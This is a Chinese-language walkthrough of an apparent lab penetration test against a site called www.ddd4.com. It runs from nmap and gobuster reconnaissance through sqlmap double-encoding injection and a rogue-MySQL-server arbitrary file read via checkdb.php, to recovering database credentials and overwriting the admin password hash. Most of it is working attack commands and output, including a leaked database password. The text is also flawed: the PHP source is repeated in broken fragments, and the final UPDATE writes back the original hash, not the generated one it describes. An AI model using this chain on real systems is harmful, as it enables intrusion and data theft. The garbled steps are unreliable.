一、信息收集
主机发现:
nmap -sP 192.168.16.0/24
端口探测
masscan -p 1-65535 192.168.16.168 --rate=1000
开放端口如下
nmap端口详细信息获取
nmap -sC -p 8888,3306,888,21,80 -A 192.168.16.168 -oA ddd4-port
目录扫描
gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -oddd4.log --wildcard | grep -v 11807 | grep -v "Size: 49"
or
二、sql注入
sqlmap二次编码注入
注入分析
查询地址:
http://www.ddd4.com/search?keyword=12
使用’看到被提示非法字符,进行编码尝试
单次编码后报错,原因是代码中进行了解码,这里需要编码后的再次进行编码后实现二次编码进行绕过
报错存在注入
sqlmap注入
测试注入
sqlmap -u http://www.ddd4.com/search?keyword=1 --batch
绕过列出当前数据库:
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py --current-db
#sqlmap中的tamper给我们带来了很多防过滤的脚本
列出当前数据库中的表
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com --tables
查看表中的数据内容
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump
9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c admin@localhost
发现密码被加密信息,解密失败
<?php
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8
COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
三、mysql客户端任意文件读取
源码
<?php
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
这段PHP代码是一个非常不安全的数据库操作代码,存在严重的安全漏洞,特别是由于使用了mysql_*函数,这些函数在现代PHP版本中已被弃用。此代码用于执行数据库操作,包括检查数据库是否存在(chkdb)和创建数据库(creatdb),具体如下:
用户通过HTTP GET或POST请求向脚本提供以下参数:
dbhost:数据库主机名或IP地址。
uname:数据库用户名。
pwd:数据库密码。
dbname:数据库名称。
action:用于确定要执行的操作(chkdb表示检查数据库是否存在,creatdb表示创建数据库)。
如果action参数的值是"chkdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个SHOW DATABASES查询,获取数据库列表,并将这些数据库名称存储在数组$data中。
脚本然后关闭数据库连接,并检查指定的数据库名称是否存在于$data数组中。如果存在,脚本返回"1",表示数据库存在。否则,返回"0",表示数据库不存在。
如果action参数的值是"creatdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个CREATE DATABASE查询,用指定的数据库名称创建一个新的数据库。如果创建成功,脚本返回"1",否则返回MySQL的错误信息。
exp下载地址:
https://github.com/allyshka/Rogue-MySql-Server
执行该脚本:该脚本默认读取/etc/passwd
python2 rogue_mysql_server.py
kali内访问:
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb
#这里ip是填kali的ip
这时候已经读取到/etc/passwd了
cat mysql.log
更换读取mysql配置文件
/www/wwwroot/www.ddd4.com/config/doc-config-cn.php
浏览器访问
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb
读取mysql配置信息成功
可以看到mysql的密码:
DB_DBNAME:www_ddd4_com
'DB_PASSWORD:x4ix6ZrM7b8nFYHn
四、登录 mysql
1.列出当前数据库用户
sqlmap -u http://www.ddd4.com/search?keyword=1 --dbms mysql -v 1 --tamper chardoubleencode.py --current-user --batch
用户:www_ddd4_com@localhost
因此目前可知:
得到数据库连接文件
dbname www_ddd4_com
username www_ddd4_com
password x4ix6ZrM7b8nFYHn
2.数据库连接
└─# mysql -h192.168.16.169 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn
ip为对方主机ip
连接对方数据库成功
查看www_ddd4_com数据库中doc_user表的内容
MySQL [www_ddd4_com]> select * from doc_user ;
看到密文:
admin@localhost | admin | 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c
3.密文替换登录
源代码中成加密后的admin密码,这里下载不到源码是网上已经有的
生成密文 admin 的明文为 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0
mysql执行替换语句:
MySQL [www_ddd4_com]>
update doc_user set
pwd='9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c ' where id=1;
Query OK, 1 row affected (0.005 sec)
Rows matched: 1 Changed: 1 Warnings: 0
成功进入后台: